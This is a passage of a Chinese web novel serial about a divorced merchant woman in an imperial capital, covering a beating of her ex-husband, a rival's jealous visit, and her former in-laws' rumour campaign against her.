“五千两。”她轻声低语,提笔在宣纸上挥洒自如,“孙公子稍等片刻。” 孙协兆在一旁沾沾自喜,只等着白花花的银子送到手上。 沈云祉在暗中盯着他小人得志的模样,面色阴沉,心中一阵无名火。 他四处张望,最后超双瑞比了个手势。 那头,顾皎皎放下毫笔,递给莺儿送到孙协兆眼前。 她笑意盈盈:“五千两银票不多不少,孙公子只管签字画押,随后我便吩咐人带你去钱庄取钱。” 孙协兆睨视走来的莺儿,姿态傲慢地抽过手中字条,懒散抬眸却发觉是一张欠条。 男人顿时脸色一变,将其怒掷在地,厉声质问:“你这是何意?不过是找你拿些银子罢了,居然妄图让我写欠条?” 顾皎皎眉头微蹙,故作不解:“该是我问孙公子何意才是。我与你非亲非故,你贸然来府上要银子,不就是借吗?” “既是借款,写下欠条,有何不妥?” 孙协兆气上心头:“你休想!今日这欠条我绝不会写,但银子我是一定要带走的。” “哦?”顾皎皎起身,几位家丁聚集过来,“孙公子这是要抢?” 孙协兆扫视一圈,仍一副颐指气使的模样:“你且听清楚了,这不是抢,而是拿回属于安阳侯府的东西!” 他丢下一句狠话,就要往内院去。 沈云祉藏身的屏风恰好是必经之路,孙协兆毫无顾及地走来恰好正中他下怀。 这方才露出一节衣角,双瑞便将早已准备好的麻袋捏紧,一鼓作气将男人裹了过去。 孙协兆毫无防备,脚下一滑摔到在地。 他受了惊吓,口中更是污言秽语:“顾皎皎,你这是在干什么?你若敢伤我分毫,安阳侯府定叫你吃不了兜着走!” 此情此景顾皎皎也始料未及,听见声响时亦是倒吸一口凉气。直到看到沈云祉似笑非笑的表情才安心下来。 孙协兆在袋中奋力挣扎,透过麻袋细密的小孔隐约能瞧见一个高大的身影。 他虽然瞧不真切,但能断定这人影一定不是府中的家丁。 无人回应孙协兆越发心慌,只能拼命挣扎:“顾皎皎!你莫要在那装聋作哑,此处是你的府邸,不论我出了何事,你都是吃不了兜着走!” 沈云祉吐出一口浊气,面容烦躁地捏了捏耳垂。 双瑞心领神会,当即上前对着麻袋拳打脚踢。 一时间诺大的正厅充斥着孙协兆的惨叫声,他叫的凄厉,却叫人忍不住想笑。 “顾皎皎,你是不是疯了!现在住手送我离开,还能饶你一条小命!” 雨点般的拳头落在身上,孙协兆疼痛难忍,却仍不忘放狠话威胁。 顾皎皎自然不理会,只偷偷瞄了沈云祉一眼,心意在心底悄然变化。再见孙协兆这狼狈不堪的模样,实在抑制不住心中舒爽,只能努力压制着上扬的嘴角。 沈云祉凝眸瞧着这一抹明媚的笑意,嘴角毫无意识地勾起。 莺儿却是个真性情的,见状也上前踹了一脚,而后转过身邀功般的朝着顾皎皎笑。 孙协兆困于麻袋之中,毫无还手之力,只能绝望地喊叫着。最后他的气息越发微弱,直到没了声响。 顾皎皎这才担心:“他不会死在顾府吧?且不说晦气,可是会招来祸端。” 若非顾府发生命案,那才是在京城抬不起头来。 沈云祉神采奕奕,冷眼看着地上一动不动的麻袋:“此事是本王一手操办,自然不会牵扯到你。” 顾皎皎瞪大眸子,惊愕地看向孙协兆,有些难以置信。这人不该如此脆弱才是,毕竟上一回扔去郊外都能活着回来。 见她信以为真,沈云祉轻笑出声,安抚道:“双瑞动手有分寸,不过是晕过去罢了,祸不及性命。” 顾皎皎松了口气,她可不想这般大好年华背上一条人命。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十章 难免他不会存心报复 “来人,将这东西扔出去,莫要脏了顾府的地方。”顾皎皎唤来两名家丁,指着地上的麻袋嫌恶开口,“对了,将这欠条也塞进去,若是他们有心借款,我也能慷慨解囊。” 家丁领命,连带着欠条一同,将人扔了出去。 沈云祉的眸子是藏不住的欣赏:“你倒是大度,这般蛮横你都还愿拿出银子接济。” 顾皎皎连忙抬手制止,神色认真道:“还望小王爷慎言,有借有钱,何来接济一说呢?” “我倒是盼着他穷途末路,来日若是赖账,今日这顿毒打倒是能再光明正大些。” 看着她眸中狡黠,沈云祉笑而不语,眼中情愫又加深几分。 不过转瞬,他便收回目光,自顾自道:“时候不早了,这建方斋竟还没有消息。本王会派人去问,你且候着消息。” “有劳小王爷,静候佳音。” 一场闹剧,竟让她忘却了小云南王本是为了第一楼的戏台而来。 顿了顿,沈云祉忽然开口:“你若无事,也可与本王同去。” 若是没记错,她与杜玉荣相熟便是这建方斋。不知为何,他也想以同样的法子表现两人亲近。 顾皎皎只觉得自己大抵是疯魔了,竟从这平淡如水的语气里听出了半分期待。 她踌躇一瞬,仍是摇了摇头:“我便不去了。既然小王爷出手,此事必然手到擒来,我得加紧回第一楼规划一番才是。” 沈云祉面色不改,没再坚持。 送走小云南王,顾皎皎才得松懈片刻:“你叫王吉继续盯着孙协兆,安阳侯府也别落下。今日之后,难免他不会存心报复。” 莺儿点头记下,却仍愤愤不平:“姑娘,您方才就该踹他一脚以泄心头之恨!” 顾皎皎:“出了这道门可不许再说此事了,就当他未曾来过。若是他当真拿了签字画押的欠条过来,那倒未尝不可。” 莺儿掩唇轻笑:“奴婢记下了。不过这安阳侯府好歹也算作大户人家,竟然如此不将体会,也不觉得难堪。” 顾皎皎笑而不语,目光冷了下去。 刚出顾府,便有一架华丽马车停在石阶之下,而后从一位身姿绰约,面容清丽的红衣女子映入脸帘。 顾皎皎认得此女,是首辅孙女赵蕴宁。 虽不知她为何忽然到此,顾皎皎仍是笑意盈盈上前迎接:“赵姑娘,敢问姑娘是来寻我的?” 赵蕴宁目光柔和,一下车便亲昵的握住顾皎皎的双手:“都到你府邸跟前了,自然是来寻你的。” “眼下有一件要紧的事,方才在第一楼不曾见你,我便擅作主张来了府邸,不会唐突吧?” 她言语温和,礼仪周到,却就是让人有些不自在。 顾皎皎笑意不减:“自然不会叨扰,不过我这刚准备去一趟第一楼,不若我们路上相商?” 说着,她便准备抽身离开,但赵蕴宁却有察觉,偏是紧紧握着。 “我的马车就在此处,何必这样大费周章?” 顾皎皎尴尬一笑,赵蕴宁的身份是实打实的,也曾出言相助,自然是得罪不得。 “也好。那便是我打扰赵姑娘了。”权衡利弊后,顾皎皎欣然接受,“莺儿,你便坐府里的马车,一路跟着就是。” 随即她又担心赵蕴宁误会,出声解释:“夜时折返,还用得上。” 赵蕴宁只笑笑,并未多言,只将人引上车内。 车内陈设低调,虽不是张扬的纹路摆件,但瞧一眼也只件件价值不菲。 沉默半晌,顾皎皎终是出声打破沉默:“不知赵姑娘刻意寻我一趟,究竟是为了何事?” “原以为顾姑娘要修整片刻呢。”赵蕴宁后知后觉,这才开口,“若是要说,也不是什么天大的事情,不过是月余后便是玉荣哥哥的生辰,我瞧着他颇为欢喜第一楼的菜色,便想着在第一楼为他办一场庆生宴。” “原来是此事。”顾皎皎松了口气,“此事你与掌柜的知会一声便好。” 方才她就觉得赵蕴宁看她的眼神带着几分审视,甚至还有不易察觉的敌意。再听她这亲昵的称呼,看来是借着庆生来证明自己与杜玉荣关系匪浅。只奈何也不知道她是得了什么消息,竟将她当成了假想敌。 赵蕴宁目光炙热:“玉荣哥哥的生辰自是马虎不得的。我想了几道他爱吃的菜色和糕点,想着与顾姑娘商讨改良一番,也能算作是我的一桩心意。” “这糕点用第一楼的是最好的。其实玉荣哥哥本不喜甜食的,但第一楼送来的倒是很是青睐,想来定独有一番风味。” 顾皎皎这下彻底反应过来,生辰宴或许是真,但今日显然是来兴师问罪的。正犹豫着可要出言解释,理清误会,赵蕴宁就已按捺不住了。 “从前倒是不曾听闻玉荣哥哥与顾姑娘你交好,不知怎地府上就多了这么些第一楼的糕点?”她仪态端庄,说话滴水不漏,却又咄咄逼人,“如此便罢了,难得他合胃口,连带着来第一楼的次数也多了不少,想来是真心喜欢。” “不知顾姑娘能否慷慨解囊,将这糕点的方子传授于我?自然不会少了第一楼的银子。” 顾皎皎看着她眼底的傲慢,轻启唇角:“这方子不是什么大事,待到了第一楼我便叫后厨抄录一份交给赵姑娘便是。” “至于送去给杜大人的糕点,不过是答谢大人恩情。我原先是和身份想必姑娘你并非毫不知情,初回府宅是上上下下破败不堪,实在难以入住。后偶尔得了杜大人帮衬,换了他在建房斋的名额。” “奈何大人不肯收银子,便只好送些糕点以作心意。” 赵蕴宁思索一瞬,笑意加深:“是了,玉荣哥哥心地纯良,待人和善,每每见人遭难,便会做些力所能及的事情,他帮你也是情理之中。” 这话的意思便是警告顾皎皎莫要生了不该有的心思。杜玉荣之所以会帮她只是因为他心性如此,再无其他。 “杜大人确实谦和,也不嫌弃我这些不值钱的糕点。” 顾皎皎自然明白她的意思,也无意得罪这位贵人。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十一章 这些小事都不在话下 “玉荣哥哥便是如此,但是他见过好的,自然知晓什么是好的。”赵蕴宁勾起红唇,继续提点。 顾皎皎应对自如:“那是自然,杜大人的生辰宴我自会亲自操办,不叫杜府失了体面。” 她又将话锋转回,不愿再多说本就不存在的儿女情长。 赵蕴宁对她的反应到还算满意,看得出来明白自己是何身份,未有攀附的心思。 “第一楼名声在外,由顾姑娘亲手操办,我还能有什么不放心的呢?” 顾皎皎点了点头,掏出随身携带的小算珠:“不知此次生辰宴赵姑娘想要多大的席面,各桌又预备要多少银两的菜式?还有,此次是在第一楼设宴,还是杜府?” 赵蕴宁被这一连串的问题问得些许尴尬。她今日本就是找个由头来探探顾皎皎的心思罢了。 即便首辅府与杜府尚有一些交情,却也未到她私下置办杜玉荣生辰宴饮的地步。不过看着她这期待的眼眸,又叫人骑虎难下。 见她犹豫,顾皎皎又换一套说辞:“若是赵姑娘无法抉择,眼见着就要到第一楼了,我可差人将不同席面细细介绍一番。” 赵蕴宁没了退路,只能勉强应下。 顾皎皎喜上眉梢,滔滔不绝将店内招牌菜色尽数介绍一遍,刻意提及杜玉荣称赞过的糕点方子,直言可做席面的赠送之物。 “赵姑娘,杜大人生辰宴饮也算是大日子,不知你可要做一身时新的衣裳?” 她如何不知赵蕴宁只为了示威而来,但既然人已送上门,银子岂有不赚的道理? 女子侧眸,眼底几分惊讶:“难道?” 这京中排得上号的成衣铺子不多,顾皎皎既开得了口,便足以证明其中有她的产业。 顾皎皎自豪点头:“赵姑娘果然聪明。这霓裳阁也是我的铺子,若是赵姑娘席面与衣裳一齐定下,我便能予姑娘诚意十足的折红。” 赵蕴宁不禁心动:“当真?” 霓裳阁在京中盛名已久,不仅衣衫新颖,最要紧的是没件衣衫都独一无二,绝不会与人相同,驳了面子。在世家子弟中颇受欢迎。 顾皎皎眼中狡黠,言辞真切:“那是自然,赵姑娘也曾予我有恩,这些小事都不在话下。” 赵蕴宁思索一瞬,摸了摸身上衣衫,娇俏一笑:“这样说来,我确实该准备几件秋日衣装了。我可是要最时新的款式,全天启独一份的。” “那是自然。”顾皎皎又将腰间霓裳阁的图纸抽出,“这些可都是还未公之于众的料子和款式,赵姑娘请过目。” 赵蕴宁眸中闪过惊喜,忍不住称赞:“你倒是准备得齐全,难怪生意做得这样好。” 她细细翻阅册子,越看越是欣喜:“当真是不曾见过的样式,甚好甚好。” 被这样直率的称赞倒还是第一次,这感觉陌生又让人欣喜。 另一边,顾府远处的深巷一袋鼓鼓囊囊的麻袋被随意扔着,好似弃物。 孙协兆醒来时浑身酸痛,骨头好似散架一般动弹一下都是刺骨的疼痛。 他在麻袋摸索,发觉袋口已叫人拆开。 好不容易挣扎着坐起身来重见光明,随手摸到一张薄纸,再一看竟是五千两的欠条。 “顾皎皎!”孙协兆将欠条撕得撕碎,仰天怒吼,“你竟敢这样对我!日后你与你那情郎都别想好过!” 他笃定在顾府瞧见的是位男子,隐约看着衣着不凡,定然不是寻常家丁。 那便只能是顾皎皎早就勾搭上的野男人! 孙协兆忍得钻心的疼一瘸一拐地回了安阳侯府。 一路上他险些昏厥,只得依靠着小厮才回了院子。 孙老夫人赶来时,孙协兆已服了药睡下,身上伤痕累累,泛着青紫。 老夫人大惊失色,顿时红了眸子:“协兆啊!到底发生了什么?这是顾皎皎打的?” 孙协兆忍着疼痛直起身子,咬牙切齿:“是她养在府里的野男人!他们这对狗男女里应外合,趁我不备将我闷头打成这副模样!” “野男人?”孙老夫人心疼的看着他的伤口,“她竟这样短的时间就早到了男人,果然水性杨花。” 这才和离不过月余,怎会就找到如此死心塌地的男子供她差使? 孙协兆面露凶色:“是啊,时日这样短,定然是在孙府就暗度陈仓!看来她明面上在府里独守空房,暗地里早已红杏出墙!” “言之有理,这下我们可算是抓住她的把柄了。红杏出墙可是要浸猪笼的大罪。”孙老夫人恍然大悟,“那银子可到手了?寒奉寺一事怕是直接捏住了她的命脉吧?” 她还在得意,想着如今又多了一个理由让她吐出银子来。 孙协兆急火攻心,止不住地咳起来:“母亲,可莫要再说什么寒奉寺了。你连证据都没有,她根本就无动于衷!” “不光如此,她还假意答应如数给银子,却准备诓骗我写下欠条,歹毒至极!” 孙老夫人不敢相信:“怎么可能,她竟丝毫不觉得慌张?这妮子如今真是不同了。但她与人苟合却是推脱不得了,抓着这个把柄仍旧能威胁她一番。” 看着孙老夫人自信笃定的模样,孙协兆便觉得头疼欲裂,忍不住低声训斥:“母亲,你日后行事能否谨慎些?我这一身伤便是由着你不分青红皂白惹来的,还想让我再去讨一顿打吗?” 他能感觉到动手的人并不想要他的命,但蒙在麻袋的场面仍历历在目,实在心有余悸。 孙老夫人哑口无言,垂下眸子多了几分委屈:“我还不是为了安阳侯府?你这看病的银子可还未付呢。若再不想办法,安阳侯府便寸步难行了。” 孙协兆蹙眉,形势严峻确实迫在眉睫。 看着身上这伤,他眼珠一转心生一计:“母亲,不若如此。既然她早已红杏出墙,何不叫京城众人都来评理?” 见孙老夫人面露疑惑,他又低声解释:“安阳侯府曾经是她的婆家,和离也是事实,但其中缘由旁人可不知晓。何不是给我们留下了可乘之机?” “待事情发酵,她自然要来求我们还她清白……” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十二章 让她担心 孙协兆点到为止,嘴角一抹邪笑,配上鼻青脸肿的模样,瞧着十分滑稽。 “你的意思是?”孙老夫人思索片刻,露出一抹阴毒笑意,“先毁了她的名声,叫她在京中无立足之地。在她孤立无援之际,再假意拉她一把。” “这法子妥当,于安阳侯府并无损失,若是成了,不仅拿到了银子,还能谋得一个好名声。” 孙老夫人放肆地笑着,只是想起这般光景便觉得心中舒爽。 顾皎皎既然守着她的银子不肯松手,那便只能让她自己吐出来了。这回可不是五千两可以了结的。 “协兆真是好计谋!”孙老夫人忍不住夸赞,眼中尽是贪婪,“你先好生养伤,此事我去办。” “母亲!”孙协兆忙将人叫住,“还是由我去比较妥当,你身子不适,日日喝药,还是在府中修养才好。” 孙老夫人很是感动:“协兆你如今受了伤,也得好生将养才是。” 顿了顿,她忽地想到什么,开口问道:“可要将你受伤的消息知会青青一声?就快要是一家人了,倒也不必避嫌。” 孙协兆扯着嘴角,别扭拒绝:“不过是些皮外伤,不必说于青青让她担心。” 他如今失了平王信任,怕是一时半会又无法与徐青青见面。 这几日与她相见,也觉得两人之间隔着些说不清道不明的东西。 孙老夫人敏锐的发觉他神色有异,谨慎询问:“从前你提到青青可不是这样的神情,难道求娶一事生了什么变故吗?” 想起这些天糟心的事孙协兆禁不住轻叹一口气:“倒是谈不上变故,只是此事牵扯颇多,变得棘手了些。不过平王还未改主意,都还好说。” 这话模棱两可,听在孙老夫人耳中只余下揪心:“安阳侯府想要翻身可就只有取青青这一条路了!” “便是为了她,我才会不遗余力地将府邸修缮妥当,这可出不得岔子啊!” 孙协兆本就心烦意乱,如今又听这些施压之词,更是烦闷不已。 “我自然知晓其中利害,眼下最要紧的还是重创顾皎皎,从她手里拿到银子。” 孙老夫人却多愁善感起来:“这顾皎皎也是个忘恩负义的,安阳侯府收留她两年之久,竟也能如此一毛不拔,实在是让人寒心。” “商贾向来重利,你与她谈什么情谊。”孙协兆冷哼一声,眼里尽是不屑,“眼下只管叫她忌惮咱们,老实交出银子才是。” 孙老夫人点头,抬手唤来宋嬷嬷:“你且花一些碎银子打点几个乞丐,让他们围在第一楼周边,好好说道说道顾皎皎藏了野男人的事。” 孙协兆不放心,又叮嘱几句:“做的隐瞒些,莫要叫人瞧见是侯府所谓。且叫他们多跑几处,她手底下的那些铺子都莫要放过。” 宋嬷嬷仔细记下,转而快步离开。 “待我这身子好些,便亲自去那第一楼会一会她,也叫旁人瞧瞧顾皎皎是如何心狠手辣,不念旧情!” 他攥紧了拳头,势必要将今日之屈辱成倍奉还! 第一楼。 赵蕴宁在顾皎皎的滔滔不绝下,鬼使神差地定下了最大的席面,同时在置办了几身衣衫。 眼见今日带出来的银子所剩无几,她才不明所以地乘马车离开。 顾皎皎便站在门外目送,掂着腰间沉甸甸的钱袋,嘴边的笑意越发真诚。 莺儿眼中艳羡:“这位赵姑娘可真是出手阔绰,若是她能多来几次便好了。” “下一回可未必有这样好的运气了。”顾皎皎伸手捏了捏她的面颊,“我与杜大人并未有任何逾矩她便能这样大张旗鼓的登门兴师问罪,再有下次可指不定是为了什么。” 莺儿反应过来,担忧道:“若是如此,姑娘还能借杜大人的关系成为皇商吗?若是再走得近些,怕是这位赵姑娘又要过来找麻烦。” 顾皎皎点点头,心中却不似当日焦急。 自从接下了畅春园的生意,她的名号算是在京城彻底打响了。 这回众人记下的可不再是安阳侯府那位和离的孙三夫人了,而是第一楼老板顾皎皎的大名。 这般蜕变叫她很是满意,对沈云祉的感激又多了几分。 “走一步看一步便是,偌大的京城,能够成为皇商的少之又少,倒不如顺其自然,兴许某一日机会就自己跑来跟前了。” 顾皎皎神情自若,对待此事越发随心所欲。 正说着,建方斋的马车竟就停在脚边,掌柜的甚至朝她躬身行礼。 “这可使不得!”顾皎皎连忙将人扶起,“论年龄,论资历,论身份,这一礼我可受不起!” 掌柜的面上几分惶恐:“这几日确实有些忙碌,这才未来得及看姑娘的拜帖。” “今日一得空,小二便就送过来了。我已仔细瞧过,自觉十分可行,故而今日就将工人带了过来,当下即可为第一楼丈量。” 顾皎皎着实愣住,一时间竟没了话语,只好奇着沈云祉到底是如何打点的,怎地瞧见她像是老鼠遇见猫一般。 “掌柜地,我自然是想要早些搭这台子,但万事还是按照规矩来的好。”顾皎皎面容严肃,多了几分不悦,“建方斋是何盛京,我可是亲身见识过的。动工慢一些不打紧的,稀里糊涂抢了旁人的名额,便不好了。” 掌柜的只接过小二手中的册子,大方递到顾皎皎眼前:“顾姑娘放心,都是按照建方斋的规律来的,不会叫你落人口舌。” “建方斋承接业务颇多,自然工人也要比寻常的多一倍不止。今日这一支便是主攻戏台,宴席,眼下正是清闲的时候。” 顾皎皎这才安心,却又压低声音:“掌柜的,我这定金尚未送去,倒是不急着丈量。” “不若咱们移步二楼雅间,细细商谈此事。” 掌柜的谨慎地环视一圈,卷起袖子擦了擦额角的汗珠:“这便是最好,本就是时间仓促,我可不想砸了建方斋的招牌。” 也不知这沈云祉究竟使了什么手段,竟叫他这般小心翼翼。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十三章 说错话了 二楼雅间。 顾皎皎一边示意莺儿看茶,一边引建方斋掌柜落座。 进了室内,掌柜的才放松片刻,开门见山道:“实不相瞒,此番焦急赶来确是受了小王爷的提点。不过建方斋亦是有意与顾姑娘合作,只是近来确实要事缠身。” 顾皎皎点头,并不想细究。只要结果是好的,过程曲折些自是无妨。 只是她尚有一事不解:“小王爷确实与我提起要用小戏台,却不想这样着急。” 掌柜的像是觅到知音般深深吐出一口浊气:“我倒不是对小王爷不敬,只是方才斋中不由分说只给三日,实在是强人所难啊!” 说着,他可怜巴巴地看向顾皎皎:“顾姑娘,此事也算是因你而起,可否能与小王爷说道说道?” “这戏台日后必定人来人往,必定得小心细致,若是留下隐患便会酿成大祸,只是三日实在不妥啊!” 顾皎皎蹙眉,顿觉不对:“你是说若是三日匆忙完工,这台子可能会当众坍塌?” 掌柜连连点头,面色忧愁:“小王爷平日里也并非如此急功近利之人,怎地此番就这般不通人情了。” 顾皎皎垂眸思索。沈云祉不是急躁的人,性命攸关之事定不会如此大意。 再想起他提起的大戏,或许戏台坍塌就是他意图所在。只是这不明不白的,倒是苦了建方斋。 “掌柜,您觉得这样如何?”顾皎皎压低声音,“小王爷之命自然是违抗不得的,但也不能眼睁睁地叫建方斋受人诟病。不若自今日起,您叫工人在第一楼打烊后再来此处?” “这……”掌柜的显然犹豫,支支吾吾说着拒绝的话,“可是若是他日当真出了事故,建方斋怕是要折了名声。” 顾皎皎轻笑,亲自为他看茶,安抚道:“小王爷此举确实叫人摸不着头脑,但他不是不可理喻之人,既让你如此做,定有他的考量。” 掌柜无可奈何,只得点头应下:“如此便依照顾姑娘所言办吧。我先将工人召回,待第一楼打烊再从后院进来,也只能如此护一护建方斋的体面。” “倒也不必哀愁,往后我若有幸再见到小王爷,必定将此事娓娓道来,不会叫你为难。”顾皎皎先给掌柜一剂定心丸,“戏台究竟是搭在第一楼的,若是真的出事,我也难逃罪责。” “所言极是。”悬着的心终是放下,掌柜的脸色回缓了许多,“那此事就交由顾姑娘处理了,我便先回建方斋了。” 顾皎皎起身相送,直到马车没了踪影才收起笑意。 “你去备马车,我要去见小王爷。”顾皎皎面色凝重,放心不下。 沈云祉到底要唱怎样的大戏还未可知,但这台子可实打实的安在第一楼的大堂,若真出了事,她的生意还做不做得。 驿站。 书房的窗扉开着,外头是繁闹喧嚣的集市。沈云祉负手立于窗边,眼眸深沉,若有所思。 双剑半跪在其身后,将平王与孙协兆的行踪细细说与他听。 “小王爷,孙三完好无损从王府出来,恐有后招。” 平王并非良善之人,此番孙协兆的消息叫他在皇上面前失了面子,断是不会善罢甘休。如此,他还能安然无恙在京中行动显得蹊跷十分。 “一个没落的侯府少爷又能掀出什么水花?平王此遭实乃慌不择路。”沈云祉却不以为然,冷声讥讽,“不过本王这孙协兆确实有几分小聪明,竟也能哄得平王再给他一次机会。” 双剑颔首:“属下这就去继续盯着他的行踪,难免他惹出什么事端,叫小王爷费心。” “不必。”沈云祉转过身来,面色阴沉,“何必在他身上浪费功夫,你且去盯着泽熙镇的赵恒。贿赂一事已然露出马脚,他不可能沉得住气。” 双剑应声,起身离开。 接下来便是探查朝中层层官员之间的联系。即便是一个无德无才的地方府尹,吏部也该记录在案才是,如何能如此神不知鬼不觉。或许这其中的利益要比他眼下看的想的深许多。 若是想不动声色拿到卷宗,看来还要再寻一次杜玉荣。 正想着,双瑞在外叩门:“小王爷,顾姑娘求见。” 沈云祉只觉意外,眉头一挑:“让她进来。” 顾皎皎穿过空无一人的连廊,最后停在大门敞开的书房,还未进门,便是扑鼻而来的乌木香。 书房是驿站安排的,陈设简单,用料也并非上上承,沈云祉一席浅蓝色衣衫坐在案前,倒显得格格不入。 将人送到后,双瑞识趣地候在门外,待顾皎皎走到跟前,方合门离去。 “参见小王爷。” 沈云祉眉眼含笑,姿态慵懒地靠在交椅上:“坐,不必与本王客套。” 他看着女子在屋内小心翼翼地打量,不拘谨却防备,竟然觉得有趣。 顾皎皎寻了个不远不近的位置坐下,开门见山道:“小王爷,今日前来便是为了第一楼的戏台一事。听建方斋掌柜说,您要他三日就将戏台搭起来?” 沈云祉唇角微扬,并未否认:“确实是本王交代的。有何不妥吗?” “三日是否捉急了些呢?”他的理直气壮,顾皎皎反倒有些不自然,“戏台毕竟是用来踩踏的,若不仔细着些怕是会有隐患。再者,戏台由建方斋经手,台子落在第一楼,若出了何事,岂非坏了我们两方的名声。” “原来就是为了此事。”沈云祉仍旧漫不经心,“你且放心,本王可舍不得叫你难过。况且,第一楼生意折损于本王也无益处。” 顾皎皎尴尬一笑,看他神色自若,好似那不明所以的话只有自己听见了一般。不过这倒是与她的猜测对上,他真的要利用这潦草戏台在第一楼做一场大戏。 冷静片刻,她试探开口:“既如此,我便不僭越了。只是小王爷这般着急可是为了在府中提及过的大戏?不知可要第一楼准备些什么?” 沈云祉抬眸看他,笑意不达眼底,瞧不清的叫人脊背发凉。 顾皎皎禁不住吞咽一口,她这是说错话了? 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十四章 不必急着定夺 空气在这一瞬凝固,顾皎皎顿时紧张起来。 虽一直知晓沈云祉身份尊贵,但他从未在自己面前摆出王爷的架子,久而久之倒以为他平易近人了。 这眼神实在令人心中发寒,为求自保顾皎皎连忙出声:“若是不便,我便不问了。小王爷莫要动怒。” 沈云祉忽地被点醒,转瞬收起这幅生人勿近的模样。方才一瞬,他竟觉得眼前的女子想要窥探些什么。倒不是心中有疑,只是习惯了如此猜忌的日子。 他早已将顾皎皎的底细调查得干干净净。家世清白,自父辈从商,女承父业。若非有那堪比半个国库的家底,不过就是芸芸众生中的一个。 如此,她眼中就只有父亲留下的基业和一手创办的铺子,也算是心思纯粹之人。 沈云祉面色缓和大半,又换回不拘小节的模样:“顾姑娘何出此言,本王何时动怒了?不过是在思索那日你能做些什么。” 顾皎皎心有余悸,只能在心底腹诽。 也不知道是谁,方才的眼神好似要吃人一般。若叫不知情的见了,到以为她欠了几千两银子。 沈云祉继续找补:“本王细细思索,你只安心当你的第一楼老板即可,不必牵扯进来。” 顾皎皎这才松了口气,看来只是借第一楼的场地,那路上那些担忧便都不做数了。只是望那日场面能和顺些,莫要伤了店内器具陈设。 “一切听从小王爷吩咐。”她起身行礼,目的达成倒也没有久留的理由,“建方斋掌柜也在担心此事,我这既然得了消息,就不在此叨扰小王爷了。” 沈云祉亦坐直身子:“你便没有旁的要与本王说?” 顾皎皎思索一瞬,笑意大方:“小王爷消息真是灵通!第一楼预备月末再安排几道新菜,不知王爷可愿赏脸尝尝?” “王爷若是不便现身,我也可差人送来驿站。” 沈云祉哑然失笑:“既是月初的事倒也不必急着定夺。” 顾皎皎早有预料,福身行礼:“是,那我便先告退了。” 驿站外,莺儿百无聊赖的守在马车外,一见到顾皎皎身影便跳下马车迎了上去。 “姑娘倒是比想象得来得慢些。” 顾皎皎轻吐一口气,躬身上了马车:“小王爷多问了几句,这也是无可预料的。先回第一楼。” 她此刻大脑空白,只想着快些离开此处。 方才沈云祉的眼神在脑海中挥之不去,她第一次对高位者的冷漠无情有了实感,看来日后与之相处还是要小心谨慎些。 顾府如今就余下她这一脉,还有这偌大的基业可都不能断送在她的手中。 莺儿吩咐马夫启程,便躬身进来为顾皎皎扇风。 “姑娘,说来奇怪,方才我在这门外等您时,又不少人眼神怪异的瞧我,还有甚者上前询问奴婢可是您的丫鬟。” “莫非您的名号已经如此响亮了?” 莺儿心中存疑,但想到这种可能又觉得欣慰。姑娘的努力与认真就该被整个京城的人称赞。 顾皎皎也觉奇怪,却未多想:“兴许只是好奇,不必在意便是。” 直到马车停在第一楼外,她才发觉事态与她料想的不同。 不过是门前石阶这几步路,却已察觉到不止多少的异样目光,这些眼神像是无形的刀子,实在无法忽视。 进了第一楼,竟也有可能低声议论,不时瞥看一眼。 顾皎皎终是忍无可忍,将莺儿唤来跟前:“你且去打听打听,外头究竟又传出了些什么疯言疯语。” 不用细想也能知道是孙协兆心有不甘,存心报复,只是这时间比她想象得快了不少。 真是迫不及待,连一身伤都还没养好,就急着毁了她的名声,不知这回又是如何可笑之语。 莺儿自知这相貌能被旁人认出,便绕过街头找到一群玩耍的孩子,一人许诺了一串糖葫芦,让他们将坊间正传的奇闻异事说与自己听。 孩子们七嘴八舌,各执一词,上知天上神话,下至民间鬼怪。 就在莺儿预备放弃之时,一个稍微大些的孩子站了出来:“你们说的都是假的!我可听说第一楼的顾皎皎在府里藏了个野男人,便是如此才被安阳侯府赶出来的!” 莺儿蹙眉,握住孩子手腕:“这是谁告诉你的?” 孩子面上得意,笑的憨厚:“街头的乞丐正说着呢,还说将这消息传出去就有糖豆吃。” 周边的孩子闹腾起来,有的吵着要去吃糖豆,有的指责他吃乞丐的东西。 莺儿站起身,再无心听他们争论不休,兑现了糖葫芦的许诺后边小跑着赶回了第一楼。 “姑娘!借一步说话。”她气喘吁吁,拉着顾皎皎就往外走,“外头正在传您藏了个野男人,还说您是被安阳侯府赶出来的。” 顾皎皎轻笑出声,毫不意外:“果然如此。他们可真是不肯消停。” 莺儿怒不可遏:“刚是挨了顿打怎就如此按捺不住呢?他们不仅贿赂了乞丐口口相传,竟还诓骗孩童在街头喊叫,实在可恨。” “哦?这回倒是长进了些,知道在暗中行事。”顾皎皎不怒反笑,“既然他们这样卖力,我也不好不领情,先这样传着吧。” 莺儿瞪大眸子,急得摇头:“怎能如此啊姑娘,这任凭他们这般抹黑您的名声?” 偏偏就在此处站了片刻,都不知受了多少戏弄的目光。她破糙肉厚倒不在意,姑娘如何受得了这样的气。 顾皎皎淡定摇头:“不着急,我自有办法惩治。只是而今不过零星片语,尚不足以为证。” 她向莺儿靠近一步,压低音调:“你先留意着这流言的动静,打听清楚到底还说了些什么。” “是,奴婢这就去安排。”莺儿嘟着嘴,虽心中不满,但相信姑娘这般做自有道理。 那头,孙协兆被小厮搀扶着站在茶坊二楼,将街市一切尽收眼底。 看着百姓口口相传,对顾皎皎议论纷纷心中便是无限畅快。待事情发酵,他这一身伤便就成了铁证。 届时顾皎皎再不吐出银子,他便宣扬她府中偷人真相被他发觉,上门理论时惨遭毒打,一切都顺理成章。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百四十五章 也算有些本事 午后,莺儿兴冲冲地跑进第一楼,直奔二楼雅间去。 “姑娘,都打听清楚了!”她匆匆行礼,一脸明媚,“这孙三真是心机深沉,将胡诌之言拆成几段,四处传播,便是为了有人凑到一处议论、” “倒是难为他如此处心积虑,都散播了些什么?”顾皎皎讥笑一声,继续气定神闲地拨弄算珠。 莺儿一股脑将听来的都说出口:“外头都在说姑娘您在安阳侯府时便红杏出墙,如今就将那野男人养在顾府。您与孙三和离的缘由也是如此,只是您以钱财威胁,要了个和离的好名声。” 